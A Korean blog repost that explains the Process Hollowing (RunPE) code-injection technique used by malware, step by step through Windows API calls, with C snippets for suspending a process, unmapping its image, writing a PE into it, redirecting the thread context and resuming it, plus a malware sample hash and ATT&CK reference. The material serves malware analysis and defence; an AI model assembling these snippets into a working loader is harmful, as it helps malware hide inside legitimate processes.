불법 프로그램 대응

[스크랩] [악성행위기법] Code Injection - Process Hollowing

9VM 2022. 5. 18. 23:52
반응형

원문 : https://jack2.postach.io/post/agseonghaengwi-gibeob-code-injection-process-hollowing

0) 개요

Hollow 란?
 
  • 구멍
  • 오목한 것
  • 텅빈
  • 오목한
간단 설명 [1]
  • Process Hollowing 기법은 최근 악성코드에서 사용되는 흔한 기술로
  • 정상적인 프로세스를 생성하고 해당 프로세스에 악성PE 데이터를 삽입하여 실행
  • PROCESS REPLACEMENT
  • RUNPE
동작 방식
[2]
  • CreateProcess / OpenProcess
  • WriteProcessMemory
  • ResumeThread
1) 프로세스 생성 - CreateProcess (feat.SUSPENDED)

CreateProcess function [3]
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
  • dwCreationFlags : 클래스 우선순위와 프로세스의 생성을 정하는 플래그
17개 Process Creation Flags 중 CREATE_SUSPENDED(0x00000004) [4]
  • 새로운 프로세스의 초기 스레드가 SUSPENDED 상태로 생성
  • ResumeThread 함수가 호출될 때 까지 실행을 안 함
BOOL WINAPI GetThreadContext(
_In_ HANDLE hThread,
_Inout_ LPCONTEXT lpContext
);
  • Thread의 Context를 2번째 파라미터로 이용
typedef struct _CONTEXT
{
ULONG ContextFlags;
ULONG Dr0;
ULONG Dr1;
ULONG Dr2;
ULONG Dr3;
ULONG Dr6;
ULONG Dr7;
FLOATING_SAVE_AREA FloatSave;
ULONG SegGs;
ULONG SegFs;
ULONG SegEs;
ULONG SegDs;
ULONG Edi;
ULONG Esi;
ULONG Ebx;
ULONG Edx;
ULONG Ecx;
ULONG Eax;
ULONG Ebp;
ULONG Eip;
ULONG SegCs;
ULONG EFlags;
ULONG Esp;
ULONG SegSs;
UCHAR ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;
 
ex)
bool bResult = CreateProcessA( szFilePath,
NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED,
NULL, NULL, &SI, &PI);
...
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
동작과정 #01
  • CreateProcessA - CREATE_SUSPENDED
  • GetThreadContext
2) 빈 곳 만들기 - Hollowing

SUSPENDED로 코드는 아직 실행되지 않은 상태, 이 때 호스트 프로세스에서 정상 코드를 메모리 상에 할당 해지(unmap) [5]
NTSTATUS ZwUnmapViewOfSection(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress
);
  • The ZwUnmapViewOfSection routine unmaps a view of a section from the virtual address space of a subject process.
  • Note If the call to this function occurs in user mode, you should use the name "NtUnmapViewOfSection" instead of "ZwUnmapViewOfSection".
ex)
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
{
NewNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
NewNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
}
동작과정 #02
  • CreateProcessA - CREATE_SUSPENDED
  • GetThreadContext
  • NtUnmapViewOfSection
3) 메모리 할당 - VirtualAllocEx

새로운 코드를 쓰기 위해 VirtualAllocEx를 이용하여 메모리 할당[6]
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
  • 메모리 할당 시 flProtect 를 이용하여 할당된 페이지의 메모리 프로텍션 설정
ex)
pImageBase = VirtualAllocEx(PI.hProcess,
LPVOID(INH->OptionalHeader.ImageBase),
INH->OptionalHeader.SizeOfImage,
0x3000, PAGE_EXECUTE_READWRITE);
동작과정 #03
  • CreateProcessA - CREATE_SUSPENDED
  • GetThreadContext
  • NtUnmapViewOfSection
  • VirtualAllocEx
4) 만들어진 빈 곳에 악성코드 쓰기 - WriteProcessMemory

WriteProcessMemory를 이용하여 만들어진 빈 곳에 악성코드 쓰기 [7]
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
ex)
if (pImageBase)
{
WriteProcessMemory( PI.hProcess,
pImageBase,
pFile,
INH->OptionalHeader.SizeOfHeaders,
NULL);
Image* 재배치 및 PEB* 의 베이스 주소 설정
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH =
PIMAGE_SECTION_HEADER(DWORD(pFile)+IDH->e_lfanew+248+(Count*40));
WriteProcessMemory( PI.hProcess,
LPVOID(DWORD(pImageBase) + ISH->VirtualAddress),
LPVOID(DWORD(pFile) + ISH->PointerToRawData),
ISH->SizeOfRawData, NULL);
}
WriteProcessMemory( PI.hProcess,
LPVOID(CTX->Ebx + 8),
LPVOID(&INH->OptionalHeader.ImageBase),
4, NULL);
/*Code Start Address_OEP*/
CTX->Eax = DWORD(pImageBase)+INH->OptionalHeader.AddressOfEntryPoint;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
동작과정 #04
  • CreateProcessA - CREATE_SUSPENDED
  • GetThreadContext
  • NtUnmapViewOfSection
  • VirtualAllocEx
  • WriteProcessMemory
5) 새로운 코드섹션 가리키기 - SetThreadContext [8]

BOOL WINAPI SetThreadContext(
_In_ HANDLE hThread,
_In_ const CONTEXT *lpContext
);
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
동작과정 #05
  • CreateProcessA - CREATE_SUSPENDED
  • GetThreadContext
  • NtUnmapViewOfSection
  • VirtualAllocEx
  • WriteProcessMemory
  • SetThreadContext
6) 실행 재개 - ResumeThread [9]

SUSPENDED 스레드의 실행을 재개하기 위해 ResumeThread 호출
DWORD WINAPI ResumeThread(
_In_ HANDLE hThread
);
ex)
ResumeThread(PI.hThread);
 
동작과정 #06
  • CreateProcessA - CREATE_SUSPENDED
  • GetThreadContext
  • NtUnmapViewOfSection
  • VirtualAllocEx
  • WriteProcessMemory
  • SetThreadContext
  • ResumeThread
7) 실제 악성코드 예 [10]

SHA2 : eae72d803bf67df22526f50fc7ab84d838efb2865c27aef1a61592b1c520d144
8) ATT&CK - T1093 [11]

  • Technique
[References]
반응형